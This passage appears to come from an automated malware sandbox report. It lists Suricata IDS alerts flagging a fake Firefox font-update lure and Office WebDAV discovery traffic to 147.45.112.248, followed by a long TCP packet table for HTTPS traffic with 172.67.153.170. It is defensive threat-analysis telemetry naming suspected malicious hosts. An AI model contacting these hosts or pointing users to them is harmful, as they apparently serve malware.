Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T20:44:06.328949+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	147.45.112.248	443	TCP
2024-12-27T20:44:06.807741+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	147.45.112.248	443	TCP
2024-12-27T20:44:12.387879+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49736	147.45.112.248	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 20:43:54.323487043 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:54.323515892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:54.323594093 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:54.335639954 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:54.335654974 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:55.602646112 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:55.602740049 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:55.665594101 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:55.665611029 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:55.665920019 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:55.665976048 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:55.669934988 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:55.715332985 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792161942 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792200089 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792227983 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792243958 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.792248964 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792258024 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792279005 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.792332888 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.792339087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.792382956 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.801580906 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.801670074 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.801676035 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.801740885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.809307098 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.809354067 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.817931890 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.817990065 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.817996979 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.818062067 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.912451982 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.912580013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.993319035 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.993376970 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.993391037 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.993446112 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:56.997243881 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:56.997309923 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.005234957 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.005280018 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.008297920 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.008357048 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.008471012 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.008518934 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.015902042 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.015974045 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.016227007 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.016278028 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.024015903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.024107933 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.031701088 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.031748056 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.031851053 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.031894922 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.041217089 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.041279078 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.041342974 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.041393042 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.041399002 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.041464090 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.047600031 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.047665119 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.047674894 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.047713041 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.055458069 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.055639982 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.063347101 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.063438892 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.063477039 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.063528061 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.070910931 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.070962906 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.071027040 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.071075916 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.078730106 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.078780890 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.078923941 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.078973055 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.194618940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.194706917 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.194715023 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.194766998 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.198374987 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.198489904 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.205674887 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.205894947 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.208497047 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.208573103 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.208625078 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.208684921 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.223536015 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.223638058 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.232861996 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.232923031 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.242198944 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.242285967 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.246994972 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.247081041 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.256231070 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.256300926 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.265697002 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.265813112 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.270397902 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.270487070 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.279632092 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.279710054 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.289671898 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.289777040 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.294325113 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.294414997 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.314426899 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.314521074 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.321351051 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.321449995 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.396084070 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.396253109 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.402123928 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.402194023 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.406306028 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.406382084 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.414175034 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.414252043 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.421449900 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.421538115 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.428628922 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.428706884 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.432046890 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.432121038 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.438999891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.439091921 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.444226027 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.444303036 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.448288918 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.448355913 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.449892044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.449958086 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.453721046 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.453823090 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.455841064 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.455905914 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.459542036 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.459599018 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.462481022 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.462543964 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.466032028 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.466116905 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.470010996 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.470076084 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.471892118 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.471955061 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.475636959 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.475708961 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.479408979 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.479486942 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.483274937 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.483340979 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.485579967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.485641956 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.488867044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.488924980 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.490837097 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.490915060 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.494597912 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.494663954 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.602531910 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.602597952 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.604324102 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.604412079 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.607382059 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.607438087 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.611735106 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.611743927 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.611785889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.611823082 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.611835003 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.611871958 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.611895084 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.625483036 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.625499964 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.625562906 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.625570059 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.625641108 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.634509087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.634522915 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.634624004 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.634648085 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.634700060 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.644186020 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.644200087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.644264936 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.644272089 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.644320011 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.650963068 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.650976896 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.651048899 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.651053905 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.651098967 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.657887936 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.657902956 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.658021927 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.658027887 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.658103943 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.665004969 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.665020943 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.665188074 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.665193081 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.665265083 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.802958965 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.802979946 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.803158045 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.803164005 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.803256035 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.810009003 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.810034037 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.810108900 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.810113907 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.810344934 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.816138983 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.816155910 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.816272020 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.816287041 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.816338062 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.823256969 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.823281050 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.823367119 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.823374033 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.823421001 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.829832077 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.829844952 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.829947948 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.829955101 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.829996109 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.836863995 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.836878061 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.836951017 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.836960077 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.837002039 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.843945026 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.843960047 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.844105959 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.844111919 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.844168901 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.850193024 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.850209951 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.850285053 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:57.850292921 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:57.850337029 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.004322052 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.004345894 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.004517078 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.004525900 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.004586935 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.011159897 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.011189938 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.011267900 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.011275053 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.011327028 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.017375946 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.017390966 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.017606974 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.017606974 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.017615080 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.017786980 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.024465084 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.024482965 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.024574995 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.024589062 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.024662018 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.031131029 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.031148911 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.031383038 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.031392097 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.031480074 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.038099051 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.038115025 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.038197994 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.038203955 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.038250923 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.045156956 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.045172930 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.045252085 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.045258045 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.045309067 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.051480055 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.051495075 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.051575899 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.051582098 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.051650047 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.205459118 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.205476999 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.205584049 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.205590963 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.205635071 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.212574005 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.212589025 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.212651014 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.212656975 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.212699890 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.218946934 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.218964100 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.219072104 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.219079018 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.219119072 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.225877047 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.225893974 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.225948095 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.225953102 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.225992918 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.232584953 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.232599974 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.232682943 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.232686996 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.232722998 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.239450932 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.239465952 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.239553928 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.239558935 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.239604950 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.246606112 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.246622086 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.246707916 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.246714115 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.246750116 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.252731085 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.252751112 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.252856970 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.252861977 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.252917051 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.406759977 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.406783104 CET	443	49730	172.67.153.170	192.168.2.4
